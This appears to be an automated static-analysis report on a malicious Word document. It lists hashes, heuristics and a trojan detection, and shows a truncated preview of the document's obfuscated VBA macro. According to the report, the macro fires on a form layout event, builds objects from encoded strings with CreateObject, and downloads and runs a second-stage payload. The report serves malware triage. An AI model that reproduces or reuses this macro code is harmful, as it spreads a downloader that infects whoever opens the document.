Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f270b1cef15fa30…

MALICIOUS

Office (OLE)

848.0 KB Created: 2018-03-15 09:09:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: bb5e8733a940fedfb1ef6b0e0ec3635c SHA-1: 07fc0d35c191978fda2c09d713d6d15202e76651 SHA-256: 9f270b1cef15fa30f3b0aa24690abcacbbe0bbc2e40e1ba99158ee4d4ba8c815
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros, as indicated by the OLE_VBA_MACROS heuristic. The script utilizes CreateObject to instantiate objects and appears to download and execute a second-stage payload, evidenced by the OLE_VBA_CREATEOBJ heuristic and the script's obfuscated nature. The ClamAV detection of 'Win.Trojan.Agent-6754302-0' further confirms its malicious nature.

Heuristics 5

  • ClamAV: Win.Trojan.Agent-6754302-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Agent-6754302-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/biIIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22143 bytes
SHA-256: cbd7f162af04f10fdabf789162dfc0c85ce45102e4d5c0e8af90470a1d500c94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "MultiPage1, 0, 0, MSForms, MultiPage"
Private Sub MultiPage1_Layout(ByVal Index As Long)
    Dim jXFqOgJHRyVMPSj As String
    Dim LEHPlphpqMwhRdas As Object
    Dim TbkwVbGJlwjeWiCQzIajFTdC As Integer
    Dim cRrUzMukX As String
    Dim rlwcAHBzQwRslbjPSHb As String

    TbkwVbGJlwjeWiCQzIajFTdC = 5685
    jXFqOgJHRyVMPSj = KUg("798e9f8a7d68997c8b66709566976e93896b6f666869") & "™nm"
    rlwcAHBzQwRslbjPSHb = "|˜ˆ—Ž•™Sx�" & "Š‘‘"
    If (TbkwVbGJlwjeWiCQzIajFTdC > 0) Then
        jXFqOgJHRyVMPSj = rlwcAHBzQwRslbjPSHb
        Set LEHPlphpqMwhRdas = CreateObject(KhFdkTZMJJyQyvFWRS(jXFqOgJHRyVMPSj))
    Else
        Set LEHPlphpqMwhRdas = CreateObject(KhFdkTZMJJyQyvFWRS(jXFqOgJHRyVMPSj))
    End If
    cRrUzMukX = GJfmjgLNVkEUNdlhkiOWRl("kEYHB" & "IqXtpyu" & "JAXkwAvOGM" & KUg("4276"))
    cRrUzMukX = VhBNwmhPYkQf(LEHPlphpqMwhRdas, cRrUzMukX, TbkwVbGJlwjeWiCQzIajFTdC)
End Sub

Function hxmoAevqoHkmJys(GMlzqkoqtTt As Integer, HuwYcvOblrKQIZEzMdv As String)
    Dim DYYgIf As Integer
    DYYgIf = GMlzqkoqtTt * 2
    HuwYcvOblrKQIZEzMdv = KUg("9a8e8873") & KUg("9c727191918b")
    If (GMlzqkoqtTt < DYYgIf) Then
        HuwYcvOblrKQIZEzMdv = KUg("907a9f7588") & KUg("74966f8a") & "q‘tˆg{g}ŸŸ" + HuwYcvOblrKQIZEzMdv
        DYYgIf = GMlzqkoqtTt - GMlzqkoqtTt
    End If
    hxmoAevqoHkmJys = DYYgIf
End Function

Function GJfmjgLNVkEUNdlhkiOWRl(OiqVKtFATZ As String) As String
    Dim WdtANaIOQmzqyo As String
    Dim gcIQQauP As String
    Dim aEUOBVTwTcX As String
    Dim wYIKGQkVSkMvPy As String
    Dim XXnzVySXRepYZ As String
    Dim HGpiaJf As String
    Dim JtigoPltLtucxDnub As String
    Dim bCrtjPWoNXKBe As String
    Dim cTrPqskQpMJUcmkfk As String
    Dim IUnBNeUmHc As String
    Dim OoknzYEMLLqAyNqVcx As String
    Dim WxOMTMBUTSfVqOd As String
    Dim qjNQNsvkuJUnsOkcbgT As String
    Dim HboBJeYAE As String
    Dim intfxwBJ As String
    Dim FFywBHwCKEFKN As String
    Dim RXuYc As String
    Dim AWWbwHbrgwooLauRAJ As String
    Dim hFTrlgMZxZOz As String
    Dim wzBZVvdwvkaFphF As String
    Dim eDbzezZc As String
    Dim hIuwGszxI As String
    Dim WIxbkb As String
    Dim wTaHgqm As String
    Dim FiPGTYsNGyjIdSjcyd As String
    Dim iTvnkEXiIna As String
    Dim XcLPBMkLCGDeFfiT As String
    Dim nGesKSaWVm As String
    Dim SFvwdYUaVm As String
    Dim YKafoP As String
    Dim viOWRTWvEckss As String
    Dim xoYqK As String
    Dim sOSFIGS As String
    Dim CcFpVBKyautnTL As String
    WxOMTMBUTSfVqOd = KUg("798a4c51") & "LrLNE" & KUg("4d477b4750") & "G†—n" & "fGPG" & "gqGP" & KUg("476a5f6d79") & KUg("5a898757474e") & "ENSG" & KUg("9b667185") & "zjG_" & "_GŠ}uŠ" & KUg("88995655556894") & KUg("8573798e739a6a4762") & "U`I œ" & "…ˆ¢bƒKMG V¢" & " U¢ W¢GR‹LRtgLQ" & "LsjœLQL�jhyLNEMG" & " Y¢ X¢ " & "U¢ W¢ V¢G" & KUg("528b454c8a6768") & KUg("918e4c514c794c514c6a934c514c9253738a99537c4c514c787e7899") & "ŠLN`I z¢bMG V[¢ Y¢ VU¢ VX¢ VZ¢ "
    intfxwBJ = " x…f" & KUg("9b8a8575") & "fy�¢" & "EbEI" & KUg("a097a260") & KUg("4549a08b") & "…zwq" & "¢bMG" & " \¢ " & "]¢ Y" & "¢ VV" & "¢ Z¢ U" & KUg("a2a056a2") & KUg("a057a2a05655") & "¢ [¢" & " ^¢ X" & KUg("a2474552") & KUg("8b454c898a4c514c") & "—T�Š‘" & "•Š—˜T†" & "LQLˆLQL‘”Œ" & "LQLSš‹" & KUg("9487538a") & "‰šS‡—Tˆ”" & "’•”“ŠLQL’„" & "‹Ž“LQL˜˜LQL�™™" & "•˜_T" & "TLQL••Œˆ†LQL" & "SLQLˆŠLQL“™˜Tˆ”LN`EI xh�…•†…ym¢bI ˜f›Š…•"
    IUnBNeUmHc = "EEE‘" & "—tnb" & "Šˆ�t" & "EnŠ�" & KUg("45454d6c") & "hnEj" & "s›_j" & KUg("6d7b9f4e537b66") & "‘zŠEƒ¡Eu" & "”|j—" & "xmj‘qER“”uw”k" & KUg("8e914545528a") & KUg("9d6a689a796e949345679e75") & "fxxEERs”sns™" & "jw†hEER“”Š�EERœ" & "nsEEmŽi‰Šs" & "EEEERKKˆriSŠ�ŠE" & KUg("454554684a9197946e4a47")
    OoknzYEMLLqAyNqVcx = KUg("a2a057a2a0") & "X¢ V¢" & "GR‹ELi" & "tLQL" & "fLQL|" & "sq
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.